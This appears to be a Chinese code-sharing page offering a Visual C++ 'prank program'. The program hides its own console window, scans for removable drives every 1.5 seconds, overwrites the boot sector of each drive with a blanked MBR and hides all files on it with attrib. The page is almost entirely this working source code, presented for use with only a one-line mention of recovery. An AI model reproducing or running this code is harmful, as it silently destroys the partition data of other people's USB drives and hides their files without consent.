首页 > 代码库 > VC 整人程序 修改分区表

VC 整人程序 修改分区表

        整人代码,定时检测所有可移动磁盘,若有,修改MBR。下次插入时可使无法读取分区~解决方案是用DiskGenuis等软件恢复MBR。可以自定义时间段~别整太过……有一个缺点,就是U盘被改之后,下一次程序扫描时发现这个设备还会修改MBR.
#include <stdio.h>#include <string.h>#include <stdlib.h>#include <windows.h>unsigned int  g_TimeList[][2] = {1, 10000000};unsigned char g_MBR[512];int  IsOperateTime(void){    SYSTEMTIME    SystemTime;    unsigned int  i     = 0;    unsigned int  count = sizeof(g_TimeList) / sizeof(unsigned int) / 2;    unsigned int  TimeNow = 0;    return 1;    GetLocalTime(&SystemTime);    TimeNow = SystemTime.wHour * 60 + SystemTime.wMinute;    for (; i < count; i++)    {        if (TimeNow >= g_TimeList[i][0]            && TimeNow <= g_TimeList[i][1])        {            return 1; // 当前时间在事件列表内        }    }    return 0; }int  ScanUSB(unsigned char  Volumes[], unsigned short  MaxVolumes){    char  Volume = 'A';    char  Buffer[200], *p = Buffer;    unsigned int  Count = 0;    GetLogicalDriveStrings(52, Buffer);     while (*p != '\0')    {        if (GetDriveType(p) == DRIVE_REMOVABLE)        {            Volumes[Count++] = *p;        }        p += strlen(p) + 1;    }    return  Count;}int  AlterMbr(unsigned char  Volume){    HANDLE  hVolume = INVALID_HANDLE_VALUE;    char    VolumeName[10];    unsigned long  ReadLen = 0; // 已写入大小    BOOL           IsSuccess = FALSE;    if (Volume != '\0')    {        sprintf_s(VolumeName, 10, "\\\\.\\%c:", Volume);        hVolume = CreateFile(VolumeName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE,            NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);        if (hVolume != INVALID_HANDLE_VALUE)        {            IsSuccess = WriteFile(hVolume, g_MBR, 512, &ReadLen, NULL);            if (IsSuccess && ReadLen == 512)            {                return 0;            }        }    }    return 1;}void  HideAllFiles(unsigned char  Volume){    char  Buf[50];    if (Volume != '\0')    {        sprintf_s(Buf, 50, "attrib +s +h %c:\\*", Volume);        system(Buf);    }}int main(){    MSG  Msg;    unsigned char  USBList[26];    SetConsoleTitle("Cpp1 - test - 20140907");    ShowWindow(FindWindow("ConsoleWindowClass", "Cpp1 - test - 20140907"), SW_HIDE);    memset(&Msg, 0, sizeof(MSG));    memset(g_MBR, 0, 512);    g_MBR[510] = 0x55;    g_MBR[511] = 0xAA;    if (SetTimer(NULL, 0x01, 1500, NULL) == 0)    {        MessageBox(NULL, "定时器创建失败。", "错误", MB_OK);        ExitProcess(1);    }    while (GetMessage(&Msg, NULL, 0, 0))    {        switch (Msg.message)        {        case WM_TIMER:            {                if (IsOperateTime() == 1)                {                    unsigned int  USBCount = 0;                    memset(USBList, 0, 26);                    if ((USBCount = ScanUSB(USBList, 26)) != 0)                    {                        for (unsigned int i = 0; i < USBCount; i++)                        {                            AlterMbr(USBList[i]);                            HideAllFiles(USBList[i]);                        }                    }                }                break;            }        default:            {                break;            }        }    }        return 0;}

VC 整人程序 修改分区表